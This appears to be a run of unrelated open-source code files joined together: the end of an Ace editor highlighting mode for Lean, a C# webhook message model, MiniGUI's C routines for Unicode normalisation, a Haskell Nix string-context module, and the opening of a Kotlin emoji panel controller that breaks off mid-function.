\"variables\", \"with\"].join(\"|\")\n );\n\n var nameProviders = (\n [\"inductive\", \"structure\", \"record\", \"theorem\", \"axiom\",\n \"axioms\", \"lemma\", \"hypothesis\", \"definition\", \"constant\"].join(\"|\")\n );\n\n var storageType = (\n [\"Prop\", \"Type\", \"Type'\", \"Type₊\", \"Type₁\", \"Type₂\", \"Type₃\"].join(\"|\")\n );\n\n var storageModifiers = (\n \"\\\\[(\" +\n [\"abbreviations\", \"all-transparent\", \"begin-end-hints\", \"class\", \"classes\", \"coercion\",\n \"coercions\", \"declarations\", \"decls\", \"instance\", \"irreducible\",\n \"multiple-instances\", \"notation\", \"notations\", \"parsing-only\", \"persistent\",\n \"reduce-hints\", \"reducible\", \"tactic-hints\", \"visible\", \"wf\", \"whnf\"\n ].join(\"|\") +\n \")\\\\]\"\n );\n\n var keywordOperators = (\n [].join(\"|\")\n );\n\n var keywordMapper = this.$keywords = this.createKeywordMapper({\n \"keyword.control\" : keywordControls,\n \"storage.type\" : storageType,\n \"keyword.operator\" : keywordOperators,\n \"variable.language\": \"sorry\"\n }, \"identifier\");\n\n var identifierRe = \"[A-Za-z_\\u03b1-\\u03ba\\u03bc-\\u03fb\\u1f00-\\u1ffe\\u2100-\\u214f][A-Za-z0-9_'\\u03b1-\\u03ba\\u03bc-\\u03fb\\u1f00-\\u1ffe\\u2070-\\u2079\\u207f-\\u2089\\u2090-\\u209c\\u2100-\\u214f]*\";\n var operatorRe = new RegExp([\"#\", \"@\", \"->\", \"∼\", \"↔\", \"/\", \"==\", \"=\", \":=\", \"<->\",\n \"/\\\\\", \"\\\\/\", \"∧\", \"∨\", \"≠\", \"<\", \">\", \"≤\", \"≥\", \"¬\",\n \"<=\", \">=\", \"⁻¹\", \"⬝\", \"▸\", \"\\\\+\", \"\\\\*\", \"-\", \"/\",\n \"λ\", \"→\", \"∃\", \"∀\", \":=\"].join(\"|\"));\n\n this.$rules = {\n \"start\" : [\n {\n token : \"comment\", // single line comment \"--\"\n regex : \"--.*$\"\n },\n DocCommentHighlightRules.getStartRule(\"doc-start\"),\n {\n token : \"comment\", // multi line comment \"/-\"\n regex : \"\\\\/-\",\n next : \"comment\"\n }, {\n stateName: \"qqstring\",\n token : \"string.start\", regex : '\"', next : [\n {token : \"string.end\", regex : '\"', next : \"start\"},\n {token : \"constant.language.escape\", regex : /\\\\[n\"\\\\]/},\n {defaultToken: \"string\"}\n ]\n }, {\n token : \"keyword.control\", regex : nameProviders, next : [\n {token : \"variable.language\", regex : identifierRe, next : \"start\"} ]\n }, {\n token : \"constant.numeric\", // hex\n regex : \"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"\n }, {\n token : \"constant.numeric\", // float\n regex : \"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"\n }, {\n token : \"storage.modifier\",\n regex : storageModifiers\n }, {\n token : keywordMapper,\n regex : identifierRe\n }, {\n token : \"operator\",\n regex : operatorRe\n }, {\n token : \"punctuation.operator\",\n regex : \"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"\n }, {\n token : \"paren.lparen\",\n regex : \"[[({]\"\n }, {\n token : \"paren.rparen\",\n regex : \"[\\\\])}]\"\n }, {\n token : \"text\",\n regex : \"\\\\s+\"\n }\n ],\n \"comment\" : [ {token: \"comment\", regex: \"-/\", next: \"start\"},\n {defaultToken: \"comment\"} ]\n };\n\n this.embedRules(DocCommentHighlightRules, \"doc-\",\n [ DocCommentHighlightRules.getEndRule(\"start\") ]);\n this.normalizeRules();\n};\n\noop.inherits(leanHighlightRules, TextHighlightRules);\n\nexports.leanHighlightRules = leanHighlightRules;\n});\n\nace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"], function(require, exports, module) {\n\"use strict\";\n\nvar Range = require(\"../range\").Range;\n\nvar MatchingBraceOutdent = function() {};\n\n(function() {\n\n this.checkOutdent = function(line, input) {\n if (! /^\\s+$/.test(line))\n return false;\n\n return /^\\s*\\}/.test(input);\n };\n\n this.autoOutdent = function(doc, row) {\n var line = doc.getLine(row);\n var match = line.match(/^(\\s*\\})/);\n\n if (!match) return 0;\n\n var column = match[1].length;\n var openBracePos = doc.findMatchingBracket({row: row, column: column});\n\n if (!openBracePos || openBracePos.row == row) return 0;\n\n var indent = this.$getIndent(doc.getLine(openBracePos.row));\n doc.replace(new Range(row, 0, row, column-1), indent);\n };\n\n this.$getIndent = function(line) {\n return line.match(/^\\s*/)[0];\n };\n\n}).call(MatchingBraceOutdent.prototype);\n\nexports.MatchingBraceOutdent = MatchingBraceOutdent;\n});\n\nace.define(\"ace/mode/lean\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lean_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../lib/oop\");\nvar TextMode = require(\"./text\").Mode;\nvar leanHighlightRules = require(\"./lean_highlight_rules\").leanHighlightRules;\nvar MatchingBraceOutdent = require(\"./matching_brace_outdent\").MatchingBraceOutdent;\nvar Range = require(\"../range\").Range;\n\nvar Mode = function() {\n this.HighlightRules = leanHighlightRules;\n\n this.$outdent = new MatchingBraceOutdent();\n};\noop.inherits(Mode, TextMode);\n\n(function() {\n\n this.lineCommentStart = \"--\";\n this.blockComment = {start: \"/-\", end: \"-/\"};\n\n this.getNextLineIndent = function(state, line, tab) {\n var indent = this.$getIndent(line);\n\n var tokenizedLine = this.getTokenizer().getLineTokens(line, state);\n var tokens = tokenizedLine.tokens;\n var endState = tokenizedLine.state;\n\n if (tokens.length && tokens[tokens.length-1].type == \"comment\") {\n return indent;\n }\n\n if (state == \"start\") {\n var match = line.match(/^.*[\\{\\(\\[]\\s*$/);\n if (match) {\n indent += tab;\n }\n } else if (state == \"doc-start\") {\n if (endState == \"start\") {\n return \"\";\n }\n var match = line.match(/^\\s*(\\/?)\\*/);\n if (match) {\n if (match[1]) {\n indent += \" \";\n }\n indent += \"- \";\n }\n }\n\n return indent;\n };\n\n this.checkOutdent = function(state, line, input) {\n return this.$outdent.checkOutdent(line, input);\n };\n\n this.autoOutdent = function(state, doc, row) {\n this.$outdent.autoOutdent(doc, row);\n };\n\n this.$id = \"ace/mode/lean\";\n}).call(Mode.prototype);\n\nexports.Mode = Mode;\n});\n"} {"text": "using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\n\r\nnamespace Octgn.Site.Api.Models\r\n{\r\n public class WebhookQueueMessage\r\n {\r\n public WebhookEndpoint Endpoint { get; set; }\r\n public string Body { get; set; }\r\n public Dictionary<string, List<string>> Headers { get; set; }\r\n\r\n public WebhookQueueMessage()\r\n {\r\n \r\n }\r\n\r\n public WebhookQueueMessage(WebhookEndpoint end, string body, IEnumerable<KeyValuePair<string, IEnumerable<string>>> headers )\r\n {\r\n Endpoint = end;\r\n if(String.IsNullOrWhiteSpace(body))\r\n throw new ArgumentNullException(\"body\");\r\n Body = body;\r\n Headers = headers.ToDictionary(x=>x.Key, x=>x.Value.ToList());\r\n }\r\n }\r\n \r\n public enum WebhookEndpoint\r\n {\r\n Octgn,OctgnDev,OctgnLobby\r\n }\r\n}"} {"text": "///////////////////////////////////////////////////////////////////////////////\n//\n// IMPORTANT NOTICE\n//\n// The following open source license statement does not apply to any\n// entity in the Exception List published by FMSoft.\n//\n// For more information, please visit:\n//\n// https://www.fmsoft.cn/exception-list\n//\n//////////////////////////////////////////////////////////////////////////////\n/*\n * This file is part of MiniGUI, a mature cross-platform windowing\n * and Graphics User Interface (GUI) support system for embedded systems\n * and smart IoT devices.\n *\n * Copyright (C) 2002~2018, Beijing FMSoft Technologies Co., Ltd.\n * Copyright (C) 1998~2002, WEI Yongming\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n *\n * Or,\n *\n * As this program is a library, any link to this program must follow\n * GNU General Public License version 3 (GPLv3). If you cannot accept\n * GPLv3, you need to be licensed from FMSoft.\n *\n * If you have got a commercial license of this program, please use it\n * under the terms and conditions of the commercial license.\n *\n * For more information about the commercial license, please refer to\n * <http://www.minigui.com/blog/minigui-licensing-policy/>.\n */\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <assert.h>\n\n#include \"common.h\"\n#include \"minigui.h\"\n#include \"gdi.h\"\n\n#ifdef _MGCHARSET_UNICODE\n\n#include \"unicode-decomp.h\"\n#include \"unicode-comp.h\"\n\n#define CC_PART1(Page, Char) \\\n ((combining_class_table_part1[Page] >= UCHAR_MAX_TABLE_INDEX) \\\n ? (combining_class_table_part1[Page] - UCHAR_MAX_TABLE_INDEX) \\\n : (cclass_data[combining_class_table_part1[Page]][Char]))\n\n#define CC_PART2(Page, Char) \\\n ((combining_class_table_part2[Page] >= UCHAR_MAX_TABLE_INDEX) \\\n ? (combining_class_table_part2[Page] - UCHAR_MAX_TABLE_INDEX) \\\n : (cclass_data[combining_class_table_part2[Page]][Char]))\n\n#define COMBINING_CLASS(Char) \\\n (((Char) <= UCHAR_LAST_CHAR_PART1) \\\n ? CC_PART1 ((Char) >> 8, (Char) & 0xff) \\\n : (((Char) >= 0xe0000 && (Char) <= UCHAR_LAST_CHAR) \\\n ? CC_PART2 (((Char) - 0xe0000) >> 8, (Char) & 0xff) \\\n : 0))\n\nint UCharCombiningClass (Uchar32 uc)\n{\n return COMBINING_CLASS (uc);\n}\n\n/* constants for hangul syllable [de]composition */\n#define SBase 0xAC00\n#define LBase 0x1100\n#define VBase 0x1161\n#define TBase 0x11A7\n#define LCount 19\n#define VCount 21\n#define TCount 28\n#define NCount (VCount * TCount)\n#define SCount (LCount * NCount)\n\nvoid UCharCanonicalOrdering (Uchar32 *string, int len)\n{\n int i;\n int swap = 1;\n\n while (swap)\n {\n int last;\n swap = 0;\n last = COMBINING_CLASS (string[0]);\n for (i = 0; i < len - 1; ++i)\n {\n int next = COMBINING_CLASS (string[i + 1]);\n if (next != 0 && last > next)\n {\n int j;\n /* Percolate item leftward through string. */\n for (j = i + 1; j > 0; --j)\n {\n Uchar32 t;\n if (COMBINING_CLASS (string[j - 1]) <= next)\n break;\n t = string[j];\n string[j] = string[j - 1];\n string[j - 1] = t;\n swap = 1;\n }\n /* We're re-entering the loop looking at the old\n character again. */\n next = last;\n }\n last = next;\n }\n }\n}\n\n/* http://www.unicode.org/unicode/reports/tr15/#Hangul\n * r should be null or have sufficient space. Calling with r == NULL will\n * only calculate the result_len; however, a buffer with space for three\n * characters will always be big enough. */\nstatic void decompose_hangul (Uchar32 s, Uchar32 *r, int *result_len)\n{\n int SIndex = s - SBase;\n int TIndex = SIndex % TCount;\n\n if (r)\n {\n r[0] = LBase + SIndex / NCount;\n r[1] = VBase + (SIndex % NCount) / TCount;\n }\n\n if (TIndex)\n {\n if (r)\n r[2] = TBase + TIndex;\n *result_len = 3;\n }\n else\n *result_len = 2;\n}\n\n/* returns a pointer to a null-terminated UTF-8 string */\nstatic const unsigned char * find_decomposition (Uchar32 ch, BOOL compat)\n{\n int start = 0;\n int end = TABLESIZE (decomp_table);\n\n if (ch >= decomp_table[start].ch &&\n ch <= decomp_table[end - 1].ch) {\n while (TRUE) {\n int half = (start + end) / 2;\n if (ch == decomp_table[half].ch) {\n int offset;\n\n if (compat) {\n offset = decomp_table[half].compat_offset;\n if (offset == UCHAR_NOT_PRESENT_OFFSET)\n offset = decomp_table[half].canon_offset;\n }\n else {\n offset = decomp_table[half].canon_offset;\n if (offset == UCHAR_NOT_PRESENT_OFFSET)\n return NULL;\n }\n\n return &(decomp_expansion_string[offset]);\n }\n else if (half == start)\n break;\n else if (ch > decomp_table[half].ch)\n start = half;\n else\n end = half;\n }\n }\n\n return NULL;\n}\n\n/* L,V => LV and LV,T => LVT */\nstatic BOOL combine_hangul (Uchar32 a, Uchar32 b, Uchar32 *result)\n{\n int LIndex = a - LBase;\n int SIndex = a - SBase;\n\n int VIndex = b - VBase;\n int TIndex = b - TBase;\n\n if (0 <= LIndex && LIndex < LCount\n && 0 <= VIndex && VIndex < VCount) {\n *result = SBase + (LIndex * VCount + VIndex) * TCount;\n return TRUE;\n }\n else if (0 <= SIndex && SIndex < SCount && (SIndex % TCount) == 0\n && 0 < TIndex && TIndex < TCount) {\n *result = a + TIndex;\n return TRUE;\n }\n\n return FALSE;\n}\n\n#define CI(Page, Char) \\\n ((compose_table[Page] >= UCHAR_MAX_TABLE_INDEX) \\\n ? (compose_table[Page] - UCHAR_MAX_TABLE_INDEX) \\\n : (compose_data[compose_table[Page]][Char]))\n\n#define COMPOSE_INDEX(Char) \\\n (((Char >> 8) > (COMPOSE_TABLE_LAST)) ? 0 : CI((Char) >> 8, (Char) & 0xff))\n\nstatic BOOL combine (Uchar32 a, Uchar32 b, Uchar32 *result)\n{\n unsigned short index_a, index_b;\n\n if (combine_hangul (a, b, result))\n return TRUE;\n\n index_a = COMPOSE_INDEX(a);\n\n if (index_a >= COMPOSE_FIRST_SINGLE_START && index_a < COMPOSE_SECOND_START)\n {\n if (b == compose_first_single[index_a - COMPOSE_FIRST_SINGLE_START][0])\n {\n *result = compose_first_single[index_a - COMPOSE_FIRST_SINGLE_START][1];\n return TRUE;\n }\n else\n return FALSE;\n }\n\n index_b = COMPOSE_INDEX(b);\n\n if (index_b >= COMPOSE_SECOND_SINGLE_START)\n {\n if (a == compose_second_single[index_b - COMPOSE_SECOND_SINGLE_START][0])\n {\n *result = compose_second_single[index_b - COMPOSE_SECOND_SINGLE_START][1];\n return TRUE;\n }\n else\n return FALSE;\n }\n\n if (index_a >= COMPOSE_FIRST_START && index_a < COMPOSE_FIRST_SINGLE_START &&\n index_b >= COMPOSE_SECOND_START && index_b < COMPOSE_SECOND_SINGLE_START)\n {\n Uchar32 res = compose_array[index_a - COMPOSE_FIRST_START][index_b - COMPOSE_SECOND_START];\n\n if (res)\n {\n *result = res;\n return TRUE;\n }\n }\n\n return FALSE;\n}\n\nstatic BOOL decompose_hangul_step (Uchar32 ch, Uchar32 *a, Uchar32 *b)\n{\n int SIndex, TIndex;\n\n if (ch < SBase || ch >= SBase + SCount)\n return FALSE; /* not a hangul syllable */\n\n SIndex = ch - SBase;\n TIndex = SIndex % TCount;\n\n if (TIndex) {\n /* split LVT -> LV,T */\n *a = ch - TIndex;\n *b = TBase + TIndex;\n }\n else {\n /* split LV -> L,V */\n *a = LBase + SIndex / NCount;\n *b = VBase + (SIndex % NCount) / TCount;\n }\n\n return TRUE;\n}\n\nBOOL UCharDecompose (Uchar32 ch, Uchar32 *a, Uchar32 *b)\n{\n int start = 0;\n int end = TABLESIZE (decomp_step_table);\n\n if (decompose_hangul_step (ch, a, b))\n return TRUE;\n\n /* TODO use bsearch() */\n if (ch >= decomp_step_table[start].ch &&\n ch <= decomp_step_table[end - 1].ch)\n {\n while (TRUE)\n {\n int half = (start + end) / 2;\n const decomposition_step *p = &(decomp_step_table[half]);\n if (ch == p->ch)\n {\n *a = p->a;\n *b = p->b;\n return TRUE;\n }\n else if (half == start)\n break;\n else if (ch > p->ch)\n start = half;\n else\n end = half;\n }\n }\n\n *a = ch;\n *b = 0;\n\n return FALSE;\n}\n\nBOOL UCharCompose (Uchar32 a, Uchar32 b, Uchar32 *ch)\n{\n if (combine (a, b, ch))\n return TRUE;\n\n *ch = 0;\n return FALSE;\n}\n\n#define UTF8_COMPUTE(Char, Mask, Len) \\\nif (Char < 128) \\\n{ \\\n Len = 1; \\\n Mask = 0x7f; \\\n} \\\nelse if ((Char & 0xe0) == 0xc0) \\\n{ \\\n Len = 2; \\\n Mask = 0x1f; \\\n} \\\nelse if ((Char & 0xf0) == 0xe0) \\\n{ \\\n Len = 3; \\\n Mask = 0x0f; \\\n} \\\nelse if ((Char & 0xf8) == 0xf0) \\\n{ \\\n Len = 4; \\\n Mask = 0x07; \\\n} \\\nelse if ((Char & 0xfc) == 0xf8) \\\n{ \\\n Len = 5; \\\n Mask = 0x03; \\\n} \\\nelse if ((Char & 0xfe) == 0xfc) \\\n{ \\\n Len = 6; \\\n Mask = 0x01; \\\n} \\\nelse \\\nLen = -1;\n\n#define UTF8_LENGTH(Char) \\\n ((Char) < 0x80 ? 1 : \\\n ((Char) < 0x800 ? 2 : \\\n ((Char) < 0x10000 ? 3 : \\\n ((Char) < 0x200000 ? 4 : \\\n ((Char) < 0x4000000 ? 5 : 6)))))\n\n\n#define UTF8_GET(Result, Chars, Count, Mask, Len) \\\n (Result) = (Chars)[0] & (Mask); \\\nfor ((Count) = 1; (Count) < (Len); ++(Count)) \\\n{ \\\n if (((Chars)[(Count)] & 0xc0) != 0x80) \\\n { \\\n (Result) = -1; \\\n break; \\\n } \\\n (Result) <<= 6; \\\n (Result) |= ((Chars)[(Count)] & 0x3f); \\\n}\n\nstatic Uchar32 utf8_to_uchar32 (const unsigned char *p)\n{\n int i, mask = 0, len;\n Uchar32 result;\n unsigned char c = (unsigned char) *p;\n\n UTF8_COMPUTE (c, mask, len);\n if (len == -1)\n return (Uchar32)-1;\n UTF8_GET (result, p, i, mask, len);\n\n return result;\n}\n\n#define UNICODE_VALID(Char) \\\n ((Char) < 0x110000 && \\\n (((Char) & 0xFFFFF800) != 0xD800))\n\nstatic const unsigned char utf8_skip_data[256] = {\n 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\n 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\n 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\n 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\n 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\n 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\n 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,\n 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,6,6,1,1\n};\n\n#define utf8_next_char(p) ((p) + utf8_skip_data[*(p)])\n\nstatic int utf8_strlen (const unsigned char *p, int max)\n{\n int len = 0;\n const unsigned char *start = p;\n if (p == NULL && max == 0)\n return 0;\n\n if (max < 0) {\n while (*p) {\n p = utf8_next_char (p);\n ++len;\n }\n }\n else {\n if (max == 0 || !*p)\n return 0;\n\n p = utf8_next_char (p);\n\n while (p - start < max && *p) {\n ++len;\n p = utf8_next_char (p);\n }\n\n /* only do the last len increment if we got a complete\n * char (don't count partial chars)\n */\n if (p - start <= max)\n ++len;\n }\n\n return len;\n}\n\nint UCharFullyDecompose (Uchar32 ch, BOOL compat, Uchar32 *result, int result_len)\n{\n const unsigned char *decomp;\n const unsigned char *p;\n\n /* Hangul syllable */\n if (ch >= SBase && ch < SBase + SCount) {\n int len, i;\n Uchar32 buffer[3];\n decompose_hangul (ch, result ? buffer : NULL, &len);\n if (result)\n for (i = 0; i < len && i < result_len; i++)\n result[i] = buffer[i];\n return len;\n }\n else if ((decomp = find_decomposition (ch, compat)) != NULL)\n {\n /* Found it. */\n int len, i;\n\n len = utf8_strlen (decomp, -1);\n\n for (p = decomp, i = 0; i < len && i < result_len; p = utf8_next_char (p), i++)\n result[i] = utf8_to_uchar32 (p);\n\n return len;\n }\n\n /* Does not decompose */\n if (result && result_len >= 1)\n *result = ch;\n return 1;\n}\n\n#endif /* _MGCHARSET_UNICODE */\n\n"} {"text": "{-# LANGUAGE DeriveGeneric #-}\n{-# LANGUAGE GeneralizedNewtypeDeriving #-}\n{-# LANGUAGE OverloadedStrings #-}\n{-# OPTIONS_GHC -Wno-unused-top-binds #-}\nmodule Nix.String\n ( NixString\n , principledGetContext\n , principledMakeNixString\n , principledMempty\n , StringContext(..)\n , ContextFlavor(..)\n , NixLikeContext(..)\n , NixLikeContextValue(..)\n , toNixLikeContext\n , fromNixLikeContext\n , stringHasContext\n , principledIntercalateNixString\n , hackyGetStringNoContext\n , principledGetStringNoContext\n , principledStringIgnoreContext\n , hackyStringIgnoreContext\n , hackyMakeNixStringWithoutContext\n , principledMakeNixStringWithoutContext\n , principledMakeNixStringWithSingletonContext\n , principledModifyNixContents\n , principledStringMappend\n , principledStringMempty\n , principledStringMConcat\n , WithStringContext\n , WithStringContextT(..)\n , extractNixString\n , addStringContext\n , addSingletonStringContext\n , runWithStringContextT\n , runWithStringContext\n )\nwhere\n\nimport Control.Monad.Writer\nimport Data.Functor.Identity\nimport qualified Data.HashMap.Lazy as M\nimport qualified Data.HashSet as S\nimport Data.Hashable\nimport Data.Text ( Text )\nimport qualified Data.Text as Text\nimport GHC.Generics\n\n-- {-# WARNING hackyGetStringNoContext, hackyStringIgnoreContext, hackyMakeNixStringWithoutContext \"This NixString function needs to be replaced\" #-}\n\n-- | A 'ContextFlavor' describes the sum of possible derivations for string contexts\ndata ContextFlavor =\n DirectPath\n | AllOutputs\n | DerivationOutput !Text\n deriving (Show, Eq, Ord, Generic)\n\ninstance Hashable ContextFlavor\n\n-- | A 'StringContext' ...\ndata StringContext =\n StringContext { scPath :: !Text\n , scFlavor :: !ContextFlavor\n } deriving (Eq, Ord, Show, Generic)\n\ninstance Hashable StringContext\n\ndata NixString = NixString\n { nsContents :: !Text\n , nsContext :: !(S.HashSet StringContext)\n } deriving (Eq, Ord, Show, Generic)\n\ninstance Hashable NixString\n\nnewtype NixLikeContext = NixLikeContext\n { getNixLikeContext :: M.HashMap Text NixLikeContextValue\n } deriving (Eq, Ord, Show, Generic)\n\ndata NixLikeContextValue = NixLikeContextValue\n { nlcvPath :: !Bool\n , nlcvAllOutputs :: !Bool\n , nlcvOutputs :: ![Text]\n } deriving (Show, Eq, Ord, Generic)\n\ninstance Semigroup NixLikeContextValue where\n a <> b = NixLikeContextValue\n { nlcvPath = nlcvPath a || nlcvPath b\n , nlcvAllOutputs = nlcvAllOutputs a || nlcvAllOutputs b\n , nlcvOutputs = nlcvOutputs a <> nlcvOutputs b\n }\n\ninstance Monoid NixLikeContextValue where\n mempty = NixLikeContextValue False False []\n\ntoStringContexts :: (Text, NixLikeContextValue) -> [StringContext]\ntoStringContexts (path, nlcv) = case nlcv of\n NixLikeContextValue True _ _ -> StringContext path DirectPath\n : toStringContexts (path, nlcv { nlcvPath = False })\n NixLikeContextValue _ True _ -> StringContext path AllOutputs\n : toStringContexts (path, nlcv { nlcvAllOutputs = False })\n NixLikeContextValue _ _ ls | not (null ls) ->\n map (StringContext path . DerivationOutput) ls\n _ -> []\n\ntoNixLikeContextValue :: StringContext -> (Text, NixLikeContextValue)\ntoNixLikeContextValue sc = (,) (scPath sc) $ case scFlavor sc of\n DirectPath -> NixLikeContextValue True False []\n AllOutputs -> NixLikeContextValue False True []\n DerivationOutput t -> NixLikeContextValue False False [t]\n\ntoNixLikeContext :: S.HashSet StringContext -> NixLikeContext\ntoNixLikeContext stringContext = NixLikeContext\n $ S.foldr go mempty stringContext\n where\n go sc hm =\n let (t, nlcv) = toNixLikeContextValue sc in M.insertWith (<>) t nlcv hm\n\nfromNixLikeContext :: NixLikeContext -> S.HashSet StringContext\nfromNixLikeContext =\n S.fromList . join . map toStringContexts . M.toList . getNixLikeContext\n\nprincipledGetContext :: NixString -> S.HashSet StringContext\nprincipledGetContext = nsContext\n\n-- | Combine two NixStrings using mappend\nprincipledMempty :: NixString\nprincipledMempty = NixString \"\" mempty\n\n-- | Combine two NixStrings using mappend\nprincipledStringMappend :: NixString -> NixString -> NixString\nprincipledStringMappend (NixString s1 t1) (NixString s2 t2) =\n NixString (s1 <> s2) (t1 <> t2)\n\n-- | Combine two NixStrings using mappend\nhackyStringMappend :: NixString -> NixString -> NixString\nhackyStringMappend (NixString s1 t1) (NixString s2 t2) =\n NixString (s1 <> s2) (t1 <> t2)\n\n-- | Combine NixStrings with a separator\nprincipledIntercalateNixString :: NixString -> [NixString] -> NixString\nprincipledIntercalateNixString _ [] = principledMempty\nprincipledIntercalateNixString _ [ns] = ns\nprincipledIntercalateNixString sep nss = NixString contents ctx\n where\n contents = Text.intercalate (nsContents sep) (map nsContents nss)\n ctx = S.unions (nsContext sep : map nsContext nss)\n\n-- | Combine NixStrings using mconcat\nhackyStringMConcat :: [NixString] -> NixString\nhackyStringMConcat = foldr hackyStringMappend (NixString mempty mempty)\n\n-- | Empty string with empty context.\nprincipledStringMempty :: NixString\nprincipledStringMempty = NixString mempty mempty\n\n-- | Combine NixStrings using mconcat\nprincipledStringMConcat :: [NixString] -> NixString\nprincipledStringMConcat =\n foldr principledStringMappend (NixString mempty mempty)\n\n--instance Semigroup NixString where\n --NixString s1 t1 <> NixString s2 t2 = NixString (s1 <> s2) (t1 <> t2)\n\n--instance Monoid NixString where\n-- mempty = NixString mempty mempty\n-- mappend = (<>)\n\n-- | Extract the string contents from a NixString that has no context\nhackyGetStringNoContext :: NixString -> Maybe Text\nhackyGetStringNoContext (NixString s c) | null c = Just s\n | otherwise = Nothing\n\n-- | Extract the string contents from a NixString that has no context\nprincipledGetStringNoContext :: NixString -> Maybe Text\nprincipledGetStringNoContext (NixString s c) | null c = Just s\n | otherwise = Nothing\n\n-- | Extract the string contents from a NixString even if the NixString has an associated context\nprincipledStringIgnoreContext :: NixString -> Text\nprincipledStringIgnoreContext (NixString s _) = s\n\n-- | Extract the string contents from a NixString even if the NixString has an associated context\nhackyStringIgnoreContext :: NixString -> Text\nhackyStringIgnoreContext (NixString s _) = s\n\n-- | Returns True if the NixString has an associated context\nstringHasContext :: NixString -> Bool\nstringHasContext (NixString _ c) = not (null c)\n\n-- | Constructs a NixString without a context\nhackyMakeNixStringWithoutContext :: Text -> NixString\nhackyMakeNixStringWithoutContext = flip NixString mempty\n\n-- | Constructs a NixString without a context\nprincipledMakeNixStringWithoutContext :: Text -> NixString\nprincipledMakeNixStringWithoutContext = flip NixString mempty\n\n-- | Modify the string part of the NixString, leaving the context unchanged\nprincipledModifyNixContents :: (Text -> Text) -> NixString -> NixString\nprincipledModifyNixContents f (NixString s c) = NixString (f s) c\n\n-- | Create a NixString using a singleton context\nprincipledMakeNixStringWithSingletonContext\n :: Text -> StringContext -> NixString\nprincipledMakeNixStringWithSingletonContext s c = NixString s (S.singleton c)\n\n-- | Create a NixString from a Text and context\nprincipledMakeNixString :: Text -> S.HashSet StringContext -> NixString\nprincipledMakeNixString s c = NixString s c\n\n-- | A monad for accumulating string context while producing a result string.\nnewtype WithStringContextT m a = WithStringContextT (WriterT (S.HashSet StringContext) m a)\n deriving (Functor, Applicative, Monad, MonadTrans, MonadWriter (S.HashSet StringContext))\n\ntype WithStringContext = WithStringContextT Identity\n\n-- | Add 'StringContext's into the resulting set.\naddStringContext\n :: Monad m => S.HashSet StringContext -> WithStringContextT m ()\naddStringContext = WithStringContextT . tell\n\n-- | Add a 'StringContext' into the resulting set.\naddSingletonStringContext :: Monad m => StringContext -> WithStringContextT m ()\naddSingletonStringContext = WithStringContextT . tell . S.singleton\n\n-- | Get the contents of a 'NixString' and write its context into the resulting set.\nextractNixString :: Monad m => NixString -> WithStringContextT m Text\nextractNixString (NixString s c) = WithStringContextT $ tell c >> pure s\n\n-- | Run an action producing a string with a context and put those into a 'NixString'.\nrunWithStringContextT :: Monad m => WithStringContextT m Text -> m NixString\nrunWithStringContextT (WithStringContextT m) =\n uncurry NixString <$> runWriterT m\n\n-- | Run an action producing a string with a context and put those into a 'NixString'.\nrunWithStringContext :: WithStringContextT Identity Text -> NixString\nrunWithStringContext = runIdentity . runWithStringContextT\n"} {"text": "package br.com.edsilfer.emojilibrary.controller\n\nimport android.os.Build\nimport android.text.Editable\nimport android.text.InputType\nimport android.text.TextWatcher\nimport android.view.View\nimport android.widget.LinearLayout\nimport androidx.appcompat.widget.Toolbar\nimport br.com.edsilfer.emojilibrary.R\nimport br.com.edsilfer.emojilibrary.view.EmojiActivity\nimport br.com.edsilfer.emojilibrary.view.EmojiActivity.OnBackPressedListener\nimport br.com.edsilfer.emojilibrary.view.EmojiEditText\nimport br.com.edsilfer.emojilibrary.view.EmojiKeyboard\nimport br.com.edsilfer.emojilibrary.view.listeners.KeyboardListener\nimport br.com.edsilfer.emojilibrary.view.listeners.PanelEventListener\n\nclass PanelController(\n private val context: EmojiActivity,\n private val listener: PanelEventListener?\n) : KeyboardListener, TextWatcher {\n\n private var toogleIcon = true\n private val emojiKeyboard: EmojiKeyboard\n private var isEmojiKeyboardVisible = false\n\n private var panel: Toolbar = context.findViewById<View>(R.id.panel) as Toolbar\n private var input: EmojiEditText = panel.findViewById<View>(R.id.input) as EmojiEditText\n private var curtain: LinearLayout = context.findViewById<View>(R.id.curtain) as LinearLayout\n\n var text: String\n get() = input.text.toString()\n set(text) {\n input.setText(text)\n }\n\n init {\n initBottomPanel()\n setInputConfig()\n onBackPressed()\n emojiKeyboard = EmojiKeyboard(context, input)\n }\n\n private fun initBottomPanel() {\n 